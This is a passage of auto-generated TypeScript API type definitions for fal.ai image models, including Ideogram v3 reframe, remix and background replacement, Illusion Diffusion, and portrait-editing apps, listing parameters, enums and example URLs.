body text. Cannot be used with font_name_body. + */ + font_file_body_url?: string | null + /** + * @description Name of the font to use for h1 text. Cannot be used with font_file_h1_url. + */ + font_name_h1?: string | null + /** + * @description URL of the flat graphic image to layerize. Must be JPEG, PNG, or WebP (max 10MB). + * @example https://v3.fal.media/files/lion/0qJs_qW8nz0wYsXhFa6Tk.png + * @type string + */ + image_url: string + /** + * @description Name of the font to use for h2 text. Cannot be used with font_file_h2_url. + */ + font_name_h2?: string | null +} + +export type File55B43D88 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3LayerizeText = { + /** + * @description Structured text containers with hierarchical text data (container -> items -> spans). + */ + text_containers?: object[] | null + /** + * @description Image layers extracted from the design. + * @type array | undefined + */ + image_layers?: object[] + /** + * @description The prompt used for layerization. May differ from the input prompt if MagicPrompt expanded it. + * @type string + */ + prompt: string + /** + * @description The background image with text removed. + * @type object + */ + image: File55B43D88 + /** + * @description Rendered overlay HTML for compositing text over the background image. + */ + text_html?: string | null + /** + * @description Seed used for the random number generator. + * @example 123456 + * @type integer + */ + seed: number +} + +export type ImageSize76Ce39Bb = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type RGBColorBfe7E3Db = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export type ColorPaletteMemberE3C44D75 = { + /** + * @description The weight of the color in the color palette + * @default 0.5 + */ + color_weight?: number | null + /** + * @description RGB color value for the palette member + * @type object + */ + rgb: RGBColorBfe7E3Db +} + +export const colorPaletteAf1B05DfName = { + EMBER: 'EMBER', + FRESH: 'FRESH', + JUNGLE: 'JUNGLE', + MAGIC: 'MAGIC', + MELON: 'MELON', + MOSAIC: 'MOSAIC', + PASTEL: 'PASTEL', + ULTRAMARINE: 'ULTRAMARINE', +} as const + +export type ColorPaletteAf1B05DfNameKey = + (typeof colorPaletteAf1B05DfName)[keyof typeof colorPaletteAf1B05DfName] + +export type ColorPaletteAf1B05Df = { + /** + * @description A color palette preset value + */ + name?: ColorPaletteAf1B05DfNameKey | null + /** + * @description A list of color palette members that define the color palette + */ + members?: ColorPaletteMemberE3C44D75[] | null +} + +export const inputFalAiIdeogramV3ReframeImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIdeogramV3ReframeImageSizeKey = + (typeof inputFalAiIdeogramV3ReframeImageSize)[keyof typeof inputFalAiIdeogramV3ReframeImageSize] + +export const inputFalAiIdeogramV3ReframeStyle = { + AUTO: 'AUTO', + GENERAL: 'GENERAL', + REALISTIC: 'REALISTIC', + DESIGN: 'DESIGN', +} as const + +export type InputFalAiIdeogramV3ReframeStyleKey = + (typeof inputFalAiIdeogramV3ReframeStyle)[keyof typeof inputFalAiIdeogramV3ReframeStyle] + +export const inputFalAiIdeogramV3ReframeRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramV3ReframeRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramV3ReframeRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramV3ReframeRenderingSpeedEnum] + +export const inputFalAiIdeogramV3ReframeStylePreset = { + '80S_ILLUSTRATION': '80S_ILLUSTRATION', + '90S_NOSTALGIA': '90S_NOSTALGIA', + ABSTRACT_ORGANIC: 'ABSTRACT_ORGANIC', + ANALOG_NOSTALGIA: 'ANALOG_NOSTALGIA', + ART_BRUT: 'ART_BRUT', + ART_DECO: 'ART_DECO', + ART_POSTER: 'ART_POSTER', + AURA: 'AURA', + AVANT_GARDE: 'AVANT_GARDE', + BAUHAUS: 'BAUHAUS', + BLUEPRINT: 'BLUEPRINT', + BLURRY_MOTION: 'BLURRY_MOTION', + BRIGHT_ART: 'BRIGHT_ART', + C4D_CARTOON: 'C4D_CARTOON', + CHILDRENS_BOOK: 'CHILDRENS_BOOK', + COLLAGE: 'COLLAGE', + COLORING_BOOK_I: 'COLORING_BOOK_I', + COLORING_BOOK_II: 'COLORING_BOOK_II', + CUBISM: 'CUBISM', + DARK_AURA: 'DARK_AURA', + DOODLE: 'DOODLE', + DOUBLE_EXPOSURE: 'DOUBLE_EXPOSURE', + DRAMATIC_CINEMA: 'DRAMATIC_CINEMA', + EDITORIAL: 'EDITORIAL', + EMOTIONAL_MINIMAL: 'EMOTIONAL_MINIMAL', + ETHEREAL_PARTY: 'ETHEREAL_PARTY', + EXPIRED_FILM: 'EXPIRED_FILM', + FLAT_ART: 'FLAT_ART', + FLAT_VECTOR: 'FLAT_VECTOR', + FOREST_REVERIE: 'FOREST_REVERIE', + GEO_MINIMALIST: 'GEO_MINIMALIST', + GLASS_PRISM: 'GLASS_PRISM', + GOLDEN_HOUR: 'GOLDEN_HOUR', + GRAFFITI_I: 'GRAFFITI_I', + GRAFFITI_II: 'GRAFFITI_II', + HALFTONE_PRINT: 'HALFTONE_PRINT', + HIGH_CONTRAST: 'HIGH_CONTRAST', + HIPPIE_ERA: 'HIPPIE_ERA', + ICONIC: 'ICONIC', + JAPANDI_FUSION: 'JAPANDI_FUSION', + JAZZY: 'JAZZY', + LONG_EXPOSURE: 'LONG_EXPOSURE', + MAGAZINE_EDITORIAL: 'MAGAZINE_EDITORIAL', + MINIMAL_ILLUSTRATION: 'MINIMAL_ILLUSTRATION', + MIXED_MEDIA: 'MIXED_MEDIA', + MONOCHROME: 'MONOCHROME', + NIGHTLIFE: 'NIGHTLIFE', + OIL_PAINTING: 'OIL_PAINTING', + OLD_CARTOONS: 'OLD_CARTOONS', + PAINT_GESTURE: 'PAINT_GESTURE', + POP_ART: 'POP_ART', + RETRO_ETCHING: 'RETRO_ETCHING', + RIVIERA_POP: 'RIVIERA_POP', + SPOTLIGHT_80S: 'SPOTLIGHT_80S', + STYLIZED_RED: 'STYLIZED_RED', + SURREAL_COLLAGE: 'SURREAL_COLLAGE', + TRAVEL_POSTER: 'TRAVEL_POSTER', + VINTAGE_GEO: 'VINTAGE_GEO', + VINTAGE_POSTER: 'VINTAGE_POSTER', + WATERCOLOR: 'WATERCOLOR', + WEIRD: 'WEIRD', + WOODBLOCK_PRINT: 'WOODBLOCK_PRINT', +} as const + +export type InputFalAiIdeogramV3ReframeStylePresetKey = + (typeof inputFalAiIdeogramV3ReframeStylePreset)[keyof typeof inputFalAiIdeogramV3ReframeStylePreset] + +export type InputFalAiIdeogramV3Reframe = { + /** + * @description The resolution for the reframed output image + * @example square_hd + */ + image_size: ImageSize76Ce39Bb | InputFalAiIdeogramV3ReframeImageSizeKey + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPaletteAf1B05Df | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description The style type to generate with. Cannot be used with style_codes. + */ + style?: InputFalAiIdeogramV3ReframeStyleKey | null + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramV3ReframeRenderingSpeedEnumKey + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description The image URL to reframe + * @example https://v3.fal.media/files/lion/0qJs_qW8nz0wYsXhFa6Tk.png + * @type string + */ + image_url: string + /** + * @description Style preset for generation. The chosen style preset will guide the generation. + */ + style_preset?: InputFalAiIdeogramV3ReframeStylePresetKey | null +} + +export type FileA6D37115 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3Reframe = { + /** + * @example [{"url":"https://v3.fal.media/files/zebra/LVW4AhVs3sCxsVKdg3EfT_image.png"}] + * @type array + */ + images: FileA6D37115[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export type ImageSize23Eea778 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiIdeogramV3RemixImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIdeogramV3RemixImageSizeKey = + (typeof inputFalAiIdeogramV3RemixImageSize)[keyof typeof inputFalAiIdeogramV3RemixImageSize] + +export const inputFalAiIdeogramV3RemixRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramV3RemixRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramV3RemixRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramV3RemixRenderingSpeedEnum] + +export const inputFalAiIdeogramV3RemixStyle = { + AUTO: 'AUTO', + GENERAL: 'GENERAL', + REALISTIC: 'REALISTIC', + DESIGN: 'DESIGN', +} as const + +export type InputFalAiIdeogramV3RemixStyleKey = + (typeof inputFalAiIdeogramV3RemixStyle)[keyof typeof inputFalAiIdeogramV3RemixStyle] + +export type InputFalAiIdeogramV3Remix = { + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description The resolution of the generated image + * @default square_hd + */ + image_size?: ImageSize23Eea778 | InputFalAiIdeogramV3RemixImageSizeKey | null + /** + * @description Strength of the input image in the remix + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramV3RemixRenderingSpeedEnumKey + /** + * @description The style type to generate with. Cannot be used with style_codes. + */ + style?: InputFalAiIdeogramV3RemixStyleKey | null + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null + /** + * @description The prompt to remix the image with + * @example Old ancient city day light + * @type string + */ + prompt: string + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description Description of what to exclude from an image. Descriptions in the prompt take precedence to descriptions in the negative prompt. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The image URL to remix + * @example https://v3.fal.media/files/lion/9-Yt8JfTw4OxrAjiUzwP9_output.png + * @type string + */ + image_url: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type FileB32324D6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3Remix = { + /** + * @example [{"url":"https://v3.fal.media/files/koala/eYZG26O54NTdWzdpDWBL-_image.png"}] + * @type array + */ + images: FileB32324D6[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV3ReplaceBackgroundStylePreset = { + '80S_ILLUSTRATION': '80S_ILLUSTRATION', + '90S_NOSTALGIA': '90S_NOSTALGIA', + ABSTRACT_ORGANIC: 'ABSTRACT_ORGANIC', + ANALOG_NOSTALGIA: 'ANALOG_NOSTALGIA', + ART_BRUT: 'ART_BRUT', + ART_DECO: 'ART_DECO', + ART_POSTER: 'ART_POSTER', + AURA: 'AURA', + AVANT_GARDE: 'AVANT_GARDE', + BAUHAUS: 'BAUHAUS', + BLUEPRINT: 'BLUEPRINT', + BLURRY_MOTION: 'BLURRY_MOTION', + BRIGHT_ART: 'BRIGHT_ART', + C4D_CARTOON: 'C4D_CARTOON', + CHILDRENS_BOOK: 'CHILDRENS_BOOK', + COLLAGE: 'COLLAGE', + COLORING_BOOK_I: 'COLORING_BOOK_I', + COLORING_BOOK_II: 'COLORING_BOOK_II', + CUBISM: 'CUBISM', + DARK_AURA: 'DARK_AURA', + DOODLE: 'DOODLE', + DOUBLE_EXPOSURE: 'DOUBLE_EXPOSURE', + DRAMATIC_CINEMA: 'DRAMATIC_CINEMA', + EDITORIAL: 'EDITORIAL', + EMOTIONAL_MINIMAL: 'EMOTIONAL_MINIMAL', + ETHEREAL_PARTY: 'ETHEREAL_PARTY', + EXPIRED_FILM: 'EXPIRED_FILM', + FLAT_ART: 'FLAT_ART', + FLAT_VECTOR: 'FLAT_VECTOR', + FOREST_REVERIE: 'FOREST_REVERIE', + GEO_MINIMALIST: 'GEO_MINIMALIST', + GLASS_PRISM: 'GLASS_PRISM', + GOLDEN_HOUR: 'GOLDEN_HOUR', + GRAFFITI_I: 'GRAFFITI_I', + GRAFFITI_II: 'GRAFFITI_II', + HALFTONE_PRINT: 'HALFTONE_PRINT', + HIGH_CONTRAST: 'HIGH_CONTRAST', + HIPPIE_ERA: 'HIPPIE_ERA', + ICONIC: 'ICONIC', + JAPANDI_FUSION: 'JAPANDI_FUSION', + JAZZY: 'JAZZY', + LONG_EXPOSURE: 'LONG_EXPOSURE', + MAGAZINE_EDITORIAL: 'MAGAZINE_EDITORIAL', + MINIMAL_ILLUSTRATION: 'MINIMAL_ILLUSTRATION', + MIXED_MEDIA: 'MIXED_MEDIA', + MONOCHROME: 'MONOCHROME', + NIGHTLIFE: 'NIGHTLIFE', + OIL_PAINTING: 'OIL_PAINTING', + OLD_CARTOONS: 'OLD_CARTOONS', + PAINT_GESTURE: 'PAINT_GESTURE', + POP_ART: 'POP_ART', + RETRO_ETCHING: 'RETRO_ETCHING', + RIVIERA_POP: 'RIVIERA_POP', + SPOTLIGHT_80S: 'SPOTLIGHT_80S', + STYLIZED_RED: 'STYLIZED_RED', + SURREAL_COLLAGE: 'SURREAL_COLLAGE', + TRAVEL_POSTER: 'TRAVEL_POSTER', + VINTAGE_GEO: 'VINTAGE_GEO', + VINTAGE_POSTER: 'VINTAGE_POSTER', + WATERCOLOR: 'WATERCOLOR', + WEIRD: 'WEIRD', + WOODBLOCK_PRINT: 'WOODBLOCK_PRINT', +} as const + +export type InputFalAiIdeogramV3ReplaceBackgroundStylePresetKey = + (typeof inputFalAiIdeogramV3ReplaceBackgroundStylePreset)[keyof typeof inputFalAiIdeogramV3ReplaceBackgroundStylePreset] + +export const inputFalAiIdeogramV3ReplaceBackgroundRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramV3ReplaceBackgroundRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramV3ReplaceBackgroundRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramV3ReplaceBackgroundRenderingSpeedEnum] + +export const inputFalAiIdeogramV3ReplaceBackgroundStyle = { + AUTO: 'AUTO', + GENERAL: 'GENERAL', + REALISTIC: 'REALISTIC', + DESIGN: 'DESIGN', +} as const + +export type InputFalAiIdeogramV3ReplaceBackgroundStyleKey = + (typeof inputFalAiIdeogramV3ReplaceBackgroundStyle)[keyof typeof inputFalAiIdeogramV3ReplaceBackgroundStyle] + +export type InputFalAiIdeogramV3ReplaceBackground = { + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description Cyber punk city with neon lights and skyscrappers + * @example A beautiful sunset over mountains that writes Ideogram v3 in fal.ai + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Style preset for generation. The chosen style preset will guide the generation. + */ + style_preset?: InputFalAiIdeogramV3ReplaceBackgroundStylePresetKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL whose background needs to be replaced + * @example https://v3.fal.media/files/rabbit/F6dvKPFL9VzKiM8asJOgm_MJj6yUB6rGjTsv_1YHIcA_image.webp + * @type string + */ + image_url: string + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramV3ReplaceBackgroundRenderingSpeedEnumKey + /** + * @description The style type to generate with. Cannot be used with style_codes. + */ + style?: InputFalAiIdeogramV3ReplaceBackgroundStyleKey | null + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null +} + +export type File7F30506C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3ReplaceBackground = { + /** + * @example [{"url":"https://v3.fal.media/files/lion/AUfCjtLkLOsdc9zEFrV-5_image.png"}] + * @type array + */ + images: File7F30506C[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export type ImageSize1E81B217 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiIllusionDiffusionSchedulerEnum = { + 'DPM++ Karras SDE': 'DPM++ Karras SDE', + Euler: 'Euler', +} as const + +export type InputFalAiIllusionDiffusionSchedulerEnumKey = + (typeof inputFalAiIllusionDiffusionSchedulerEnum)[keyof typeof inputFalAiIllusionDiffusionSchedulerEnum] + +export const inputFalAiIllusionDiffusionImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIllusionDiffusionImageSizeKey = + (typeof inputFalAiIllusionDiffusionImageSize)[keyof typeof inputFalAiIllusionDiffusionImageSize] + +export type InputFalAiIllusionDiffusion = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @maximum 50 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The scale of the ControlNet. + * @default 1 + * @type number | undefined + */ + controlnet_conditioning_scale?: number + /** + * @description + * Increasing the amount of steps tells Stable Diffusion that it should take more steps + * to generate your final result which can increase the amount of detail in your image. + * + * @minimum 0 + * @maximum 80 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example (masterpiece:1.4), (best quality), (detailed), Medieval village scene with busy streets and castle in the distance + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Scheduler / sampler to use for the image denoising process. + * @default 'Euler' + * @type string | undefined + */ + scheduler?: InputFalAiIllusionDiffusionSchedulerEnumKey + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example (worst quality, poor details:1.4), lowres, (artist name, signature, watermark:1.4), bad-artist-anime, bad_prompt_version2, bad-hands-5, ng_deepnegative_v1_75t + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Input image url. + * @example https://storage.googleapis.com/falserverless/illusion-examples/pattern.png + * @example https://storage.googleapis.com/falserverless/illusion-examples/checkers.png + * @example https://storage.googleapis.com/falserverless/illusion-examples/checkers_mid.jpg + * @example https://storage.googleapis.com/falserverless/illusion-examples/ultra_checkers.png + * @example https://storage.googleapis.com/falserverless/illusion-examples/funky.jpeg + * @example https://storage.googleapis.com/falserverless/illusion-examples/cubes.jpeg + * @example https://storage.googleapis.com/falserverless/illusion-examples/turkey-flag.png + * @example https://storage.googleapis.com/falserverless/illusion-examples/india-flag.png + * @example https://storage.googleapis.com/falserverless/illusion-examples/usa-flag.png + * @type string + */ + image_url: string + /** + * @description + * The size of the generated image. You can choose between some presets or + * custom height and width that **must be multiples of 8**. + * + * @default square_hd + */ + image_size?: ImageSize1E81B217 | InputFalAiIllusionDiffusionImageSizeKey + /** + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + control_guidance_start?: number + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + */ + seed?: number | null + /** + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + control_guidance_end?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image9Dd334A4 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiIllusionDiffusion = { + /** + * @description The generated image file info. + * @type object + */ + image: Image9Dd334A4 + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const aspectRatioRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type AspectRatioRatioEnumKey = + (typeof aspectRatioRatioEnum)[keyof typeof aspectRatioRatioEnum] + +/** + * @description Aspect ratio model that calculates 4K resolution dimensions + * @type object + */ +export type AspectRatio = { + /** + * @description Aspect ratio for 4K resolution output + * @default '1:1' + * @type string | undefined + */ + ratio?: AspectRatioRatioEnumKey +} + +export type InputFalAiImageAppsV2AgeModify = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for portraits) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @minimum 6 + * @maximum 100 + * @default 30 + * @type integer | undefined + */ + target_age?: number + /** + * @default true + * @type boolean | undefined + */ + preserve_identity?: boolean + /** + * @description Portrait image URL for age modification + * @example https://v3.fal.media/files/lion/s2GShUC7AB9i-ypYV0DbI_1b5ca4fe5d7e477fb4501acf9a1c43bc.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageEda1Eded = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2AgeModify = { + /** + * @description Portrait with modified age + * @example [{"url":"https://v3b.fal.media/files/b/monkey/lPoI9oYu6X_I1SvqOurj0_ce7daf32a7a146f9a627c0578bd4a747.png"}] + * @type array + */ + images: ImageEda1Eded[] +} + +export const aspectRatio4583260FRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type AspectRatio4583260FRatioEnumKey = + (typeof aspectRatio4583260FRatioEnum)[keyof typeof aspectRatio4583260FRatioEnum] + +/** + * @description Aspect ratio model that calculates 4K resolution dimensions + * @type object + */ +export type AspectRatio4583260F = { + /** + * @description Aspect ratio for 4K resolution output + * @default '1:1' + * @type string | undefined + */ + ratio?: AspectRatio4583260FRatioEnumKey +} + +export const inputFalAiImageAppsV2CityTeleportPhotoShotEnum = { + extreme_close_up: 'extreme_close_up', + close_up: 'close_up', + medium_close_up: 'medium_close_up', + medium_shot: 'medium_shot', + medium_long_shot: 'medium_long_shot', + long_shot: 'long_shot', + extreme_long_shot: 'extreme_long_shot', + full_body: 'full_body', +} as const + +export type InputFalAiImageAppsV2CityTeleportPhotoShotEnumKey = + (typeof inputFalAiImageAppsV2CityTeleportPhotoShotEnum)[keyof typeof inputFalAiImageAppsV2CityTeleportPhotoShotEnum] + +export const inputFalAiImageAppsV2CityTeleportCameraAngleEnum = { + eye_level: 'eye_level', + low_angle: 'low_angle', + high_angle: 'high_angle', + dutch_angle: 'dutch_angle', + birds_eye_view: 'birds_eye_view', + worms_eye_view: 'worms_eye_view', + overhead: 'overhead', + side_angle: 'side_angle', +} as const + +export type InputFalAiImageAppsV2CityTeleportCameraAngleEnumKey = + (typeof inputFalAiImageAppsV2CityTeleportCameraAngleEnum)[keyof typeof inputFalAiImageAppsV2CityTeleportCameraAngleEnum] + +export type InputFalAiImageAppsV2CityTeleport = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Type of photo shot + * @default 'medium_shot' + * @type string | undefined + */ + photo_shot?: InputFalAiImageAppsV2CityTeleportPhotoShotEnumKey + /** + * @description Person photo URL + * @example https://v3.fal.media/files/kangaroo/qsFWu-bO3FwcTQSym9HeL_e52f70668f2940a3b4ea2cab54fcb65b.png + * @type string + */ + person_image_url: string + /** + * @description Optional city background image URL. When provided, the person will be blended into this custom scene. + */ + city_image_url?: string | null + /** + * @description City name (used when city_image_url is not provided) + * @example Paris + * @type string + */ + city_name: string + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio4583260F + /** + * @description Camera angle for the shot + * @default 'eye_level' + * @type string | undefined + */ + camera_angle?: InputFalAiImageAppsV2CityTeleportCameraAngleEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image160D2498 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2CityTeleport = { + /** + * @description Person teleported to city location + * @example [{"url":"https://v3b.fal.media/files/b/zebra/IxujEn7zMTwi7JwUFayG0_d0810ad048a24c6d9d80a68c4325a675.png"}] + * @type array + */ + images: Image160D2498[] +} + +export const inputFalAiImageAppsV2ExpressionChangeTargetExpressionEnum = { + smile: 'smile', + surprise: 'surprise', + glare: 'glare', + panic: 'panic', + shyness: 'shyness', + laugh: 'laugh', + cry: 'cry', + angry: 'angry', + sad: 'sad', + happy: 'happy', + excited: 'excited', + shocked: 'shocked', + confused: 'confused', + focused: 'focused', + dreamy: 'dreamy', + serious: 'serious', + playful: 'playful', + mysterious: 'mysterious', + confident: 'confident', + thoughtful: 'thoughtful', +} as const + +export type 